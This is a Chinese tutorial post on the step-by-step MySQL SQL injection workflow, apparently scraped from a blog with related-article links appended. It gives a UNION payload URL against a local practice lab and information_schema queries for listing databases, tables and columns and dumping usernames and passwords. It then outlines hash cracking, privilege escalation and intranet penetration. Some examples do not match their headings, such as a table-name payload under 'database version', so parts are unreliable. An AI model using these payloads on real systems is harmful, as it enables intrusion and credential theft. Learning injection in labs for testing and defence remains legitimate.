SQL注入【二】——MYSQL注入的基本流程
**
在对MYSQL注入的基本流程讲解前先来科普一下MySQL 5.0以上和MySQL 5.0以下版本的区别
**
MySQL 5.0以上版本存在一个存储着数据库信息的信息数据库--INFORMATION_SCHEMA ,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。而5.0以下没有。我们常见的MySQL注入都是基于MySQL5.0以上版本的
[noway]所以我们有必要在进行SQL注入时养成用version()来查看数据库版本的习惯[/noway]
sql注入基本流程
0x01 判断是否有注入点
通过加单引号和and 1=1,and 1=2等根据页面返回结果确定是否存在注入
目标:需要确定
- 注入方式(union,boolean,cookie等)
- 如果是(union,boolean,报错)注入还得确定注入参数类型是数字型还是字符型
0x02 获取数据库基本信息
1.数据库版本
比如数据库类型(MySQL,Oracle等)
如果是MySQL还得确定版本
[noway]下面语句都是插入在回显点处,并且都要加上括号包裹[/noway]
例:http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,(select table_name from information_schema.tables where table_schema =database() limit 0,1),3 --+
0x03 获取数据库库名
通过确定的回显点处使用database()函数来查看当前使用的数据库
如果想查看所有数据库名,可使用命令
SELECT * FROM INFORMATION_SCHEMA.SCHEMATA
0x04 获取数据库表名
select table_name from information_schema.tables where table_schema=database() limit 0,1
/*上面的limit 0,1表示从第一个开始,显示1个值*/
select group_concat(table_name) from information_schema.tables where table_schema='数据库名'
/*如果是只想查看当前数据库,数据库名直接用database()代替*/
0x05 获取数据库字段名
select table_name from information_schema.tables where table_schema=database() limit 0,1
/*上面的limit 0,1表示从第一个开始,显示1个值*/
group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
0x06 获取字段下的值
一般是用户信息,如账号密码之类的
select group_concat(字段名,字段名) from 表名
例:
select group_concat(username,password) from users
0x07 破解数据
针对密码等数据一般都是经过MD5加密的,我们可以通过解密平台进行解密
0x08 提升权限
0x09 内网渗透
更多优质文章请访问[无垠安全](https://www.wuyini.cn/)
SQL注入【二】——MYSQL注入的基本流程相关推荐
- SQL注入之MYSQL注入总结
简介 information_schema是用于存储数据库元数据的表,它保存了数据库名,表名,列名等信息. 让我们从爆破表名到了可以直接查询. information_schema是MySQL5.0以 ...
- SQL注入-二次注入和多语句注入
二次注入 一.二次注入的定义 简单的说二次注入就是已经存储到数据库中的用户输入,在进行再一次读取的时候进去SQL查询语句中的注入. 二.二次注入的原理 第一步:插入恶意数据 第一次进行数据库插入数据的 ...
- SQL注入之MySQL注入姿势及绕过
SQL注入之MySQL注入姿势及绕过 参考链接: https://xz.aliyun.com/t/10594 感受 1. 写的详细,并且绕过姿势也很多,大佬级人物 2. 在网上发现类似的文章,感觉这就 ...
- SQL注入之MySQL注入学习笔记(二)
补充:MySQL注释方法 文章目录 MySQL注入 基本介绍 字符型 数字型 搜索型 Cookie注入 HTTP头注入 具体实例 数字型注入 一般类型 被单引号包裹起来的 双引号加小括号包裹 两个括号 ...
- B站小迪安全笔记第十三天-SQL注入(MYSQL注入)
前言: MYSQL 注入中首先要明确当前注入点权限,高权限注入时有更多的 攻击手法,有的能直接进行 getshell 操作.其中也会遇到很多阻碍,相关 防御方案也要明确,所谓知己知彼,百战不殆.不论作 ...
- php+mysql实例注入,PHP+MYSQL注入实例与防范措施总结
实例 以下是我在服务器测试并成功注入的例子,大家看一下注入实例中的所有参数,有经验的程序员一看便知,如果不太明白可以自己实践一下,或者看一下注入原理(Php+Mysql注入专题教学),有任何疑问请联系 ...
- 13 WEB漏洞:SQL注入之MYSQL注入
1.SQL简介: SQL 是一门 ANSI 的标准计算机语言,用来访问和操作数据库系统-.SQL 语句用于取回和更新数据库中的数据.SQL 可与数据库程序协同工作,比如 MS Access.DB2.I ...
- SQL注入堆叠注入二次注入
蓝易云高性能服务器 | | | | |
- mssql注入和mysql注入_mssql手工注入
mssql注入是针对于sql server数据库的 sql server数据库和mysql数据库是有所区别的,语句命令之类的可自行百度. 平台:i春秋 内容:mssql手工注入 找注入点 点击test ...
- Spring 依赖注入(二、注入参数)
注入参数基本分7类: 1.基本类型值 2.注入bean 3.内部bean 4.注入null值 5.级联属性 6.List,Set,Map集合的注入 7.properties文件的注入(和集合注入基本是 ...
最新文章
- FFmpeg通过摄像头实现对视频流进行解码并显示测试代码(新接口)
- 1.8M超轻量目标检测模型NanoDet,比YOLO跑得快
- oracle 越南字符,ORACLE 12.2RAC之问题 ora.chad OFFLINE
- 限流算法之漏桶算法、令牌桶算法
- golang defer 关闭文件 报错file may have nil or other unexpected value as its corresponding error
- 用图讲解狄克斯特拉(DiskStra)算法,python实现 。
- 21 Python模块、import语句、搜索路径、变量、命名空间和作用域、dir函数、globals()和locals()函数、reload()函数、Python中的包
- 求一个数字中1的个数
- java 面试700问_JAVA面试700问(一)
- 二级计算机vf里的sql,计算机等级考试二级VF考点:SQL语言
- python刷题相关资料汇总(二)
- BZOJ5243 : [Lydsy2017省队十连测]绝版题
- font-weight属性
- Linux常用性能分析监控工具 iostat、iotop、top、htop、free、iftop
- 敏捷个人A1组第二次讨论纪要 你在事业上打算何去何从?
- 清洁机器人--屏幕显示LCD方案之MCU SPI 接口驱动ST7789 LCD显示
- 曾经我也有一个做游戏的梦想,这几本游戏开发的书籍推荐给为未来的游戏工程师
- iOS 判断机型是否为iPhone Xs
- 分享一些免费的网站速度测试工具
- linux 根目录 777,Linux误操作777之后的恢复方法